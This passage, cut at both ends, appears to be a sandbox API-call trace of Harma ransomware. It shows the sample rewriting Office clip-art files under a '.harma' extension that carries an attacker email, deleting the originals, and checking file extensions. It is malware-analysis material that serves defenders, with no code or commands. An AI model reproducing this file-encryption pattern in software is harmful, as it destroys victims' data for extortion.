"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0161.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.937] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.938] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0161.938] GetLastError () returned 0x0 [0161.939] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x11dfe, lpOverlapped=0x0) returned 1 [0162.033] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x11e00, lpOverlapped=0x0) returned 1 [0162.035] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.035] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.036] SetEndOfFile (hFile=0x3a0) returned 1 [0162.036] CloseHandle (hObject=0x3a0) returned 1 [0162.036] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.036] SetEndOfFile (hFile=0x39c) returned 1 [0162.041] CloseHandle (hObject=0x39c) returned 1 [0162.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0162.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.043] lstrlenW (lpString=".doc") returned 4 [0162.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.043] lstrlenW (lpString=".docx") returned 5 [0162.043] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0162.043] lstrlenW (lpString=".pdf") returned 4 [0162.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.043] lstrlenW (lpString=".xls") returned 4 [0162.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.043] lstrlenW (lpString=".xlsx") returned 5 [0162.043] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0162.043] lstrlenW (lpString=".ppt") returned 4 [0162.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.043] lstrlenW (lpString=".zip") returned 4 [0162.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.043] lstrlenW (lpString=".rar") returned 4 [0162.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.043] lstrlenW (lpString=".bz2") returned 4 [0162.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.043] lstrlenW (lpString=".7z") returned 3 [0162.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.043] lstrlenW (lpString=".dbf") returned 4 [0162.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.044] lstrlenW (lpString=".1cd") returned 4 [0162.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.044] lstrlenW (lpString=".jpg") returned 4 [0162.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.044] lstrlenW (lpString=".doc") returned 4 [0162.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.044] lstrlenW (lpString=".docx") returned 5 [0162.044] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0162.044] lstrlenW (lpString=".pdf") returned 4 [0162.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.044] lstrlenW (lpString=".xls") returned 4 [0162.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.044] lstrlenW (lpString=".xlsx") returned 5 [0162.044] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0162.044] lstrlenW (lpString=".ppt") returned 4 [0162.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.044] lstrlenW (lpString=".zip") returned 4 [0162.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.044] lstrlenW (lpString=".rar") returned 4 [0162.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.044] lstrlenW (lpString=".bz2") returned 4 [0162.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.045] lstrlenW (lpString=".7z") returned 3 [0162.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.045] lstrlenW (lpString=".dbf") returned 4 [0162.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.045] lstrlenW (lpString=".1cd") returned 4 [0162.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0162.045] lstrlenW (lpString=".jpg") returned 4 [0162.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.045] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0162.045] lstrlenW (lpString="J0099160.JPG") returned 12 [0162.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.047] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=15145) returned 1 [0162.047] CloseHandle (hObject=0x39c) returned 1 [0162.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0162.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.048] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.048] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0162.049] GetLastError () returned 0x0 [0162.049] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3b29, lpOverlapped=0x0) returned 1 [0162.078] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0162.080] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.080] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.080] SetEndOfFile (hFile=0x3a0) returned 1 [0162.080] CloseHandle (hObject=0x3a0) returned 1 [0162.081] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.081] SetEndOfFile (hFile=0x39c) returned 1 [0162.084] CloseHandle (hObject=0x39c) returned 1 [0162.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0162.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.085] lstrlenW (lpString=".doc") returned 4 [0162.085] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.085] lstrlenW (lpString=".docx") returned 5 [0162.086] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0162.086] lstrlenW (lpString=".pdf") returned 4 [0162.086] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.086] lstrlenW (lpString=".xls") returned 4 [0162.086] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.086] lstrlenW (lpString=".xlsx") returned 5 [0162.086] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0162.086] lstrlenW (lpString=".ppt") returned 4 [0162.086] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.086] lstrlenW (lpString=".zip") returned 4 [0162.086] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.086] lstrlenW (lpString=".rar") returned 4 [0162.086] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.086] lstrlenW (lpString=".bz2") returned 4 [0162.086] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.086] lstrlenW (lpString=".7z") returned 3 [0162.086] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.086] lstrlenW (lpString=".dbf") returned 4 [0162.086] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.086] lstrlenW (lpString=".1cd") returned 4 [0162.086] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.086] lstrlenW (lpString=".jpg") returned 4 [0162.087] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.087] lstrlenW (lpString=".doc") returned 4 [0162.087] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.087] lstrlenW (lpString=".docx") returned 5 [0162.087] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0162.087] lstrlenW (lpString=".pdf") returned 4 [0162.087] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.087] lstrlenW (lpString=".xls") returned 4 [0162.087] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.087] lstrlenW (lpString=".xlsx") returned 5 [0162.087] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0162.087] lstrlenW (lpString=".ppt") returned 4 [0162.088] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.088] lstrlenW (lpString=".zip") returned 4 [0162.088] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.088] lstrlenW (lpString=".rar") returned 4 [0162.088] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.088] lstrlenW (lpString=".bz2") returned 4 [0162.088] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.088] lstrlenW (lpString=".7z") returned 3 [0162.088] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.088] lstrlenW (lpString=".dbf") returned 4 [0162.088] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.088] lstrlenW (lpString=".1cd") returned 4 [0162.088] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0162.088] lstrlenW (lpString=".jpg") returned 4 [0162.088] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.089] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0162.089] lstrlenW (lpString="J0099161.JPG") returned 12 [0162.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.090] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=7154) returned 1 [0162.090] CloseHandle (hObject=0x39c) returned 1 [0162.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0162.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.170] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.170] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.172] GetLastError () returned 0x0 [0162.172] ReadFile (in: hFile=0x398, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1bf2, lpOverlapped=0x0) returned 1 [0162.240] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1c00, lpOverlapped=0x0) returned 1 [0162.241] ReadFile (in: hFile=0x398, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0162.241] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.241] SetEndOfFile (hFile=0x3a4) returned 1 [0162.241] CloseHandle (hObject=0x3a4) returned 1 [0162.241] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.241] SetEndOfFile (hFile=0x398) returned 1 [0162.244] CloseHandle (hObject=0x398) returned 1 [0162.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0162.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.346] lstrlenW (lpString=".doc") returned 4 [0162.347] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.347] lstrlenW (lpString=".docx") returned 5 [0162.347] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0162.347] lstrlenW (lpString=".pdf") returned 4 [0162.347] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".xls") returned 4 [0162.347] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".xlsx") returned 5 [0162.347] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0162.347] lstrlenW (lpString=".ppt") returned 4 [0162.347] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.347] lstrlenW (lpString=".zip") returned 4 [0162.347] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".rar") returned 4 [0162.347] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.347] lstrlenW (lpString=".bz2") returned 4 [0162.347] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.347] lstrlenW (lpString=".7z") returned 3 [0162.347] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.347] lstrlenW (lpString=".dbf") returned 4 [0162.347] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.348] lstrlenW (lpString=".1cd") returned 4 [0162.348] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.348] lstrlenW (lpString=".jpg") returned 4 [0162.348] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.348] lstrlenW (lpString=".doc") returned 4 [0162.348] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.348] lstrlenW (lpString=".docx") returned 5 [0162.348] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0162.348] lstrlenW (lpString=".pdf") returned 4 [0162.349] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.349] lstrlenW (lpString=".xls") returned 4 [0162.349] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.349] lstrlenW (lpString=".xlsx") returned 5 [0162.349] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0162.349] lstrlenW (lpString=".ppt") returned 4 [0162.349] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.349] lstrlenW (lpString=".zip") returned 4 [0162.349] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.349] lstrlenW (lpString=".rar") returned 4 [0162.349] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.349] lstrlenW (lpString=".bz2") returned 4 [0162.349] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.349] lstrlenW (lpString=".7z") returned 3 [0162.349] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.349] lstrlenW (lpString=".dbf") returned 4 [0162.349] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.349] lstrlenW (lpString=".1cd") returned 4 [0162.349] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0162.349] lstrlenW (lpString=".jpg") returned 4 [0162.349] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.350] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.350] lstrlenW (lpString="J0099163.WMF") returned 12 [0162.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.351] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=22356) returned 1 [0162.351] CloseHandle (hObject=0x3a4) returned 1 [0162.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0162.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.352] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.352] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: 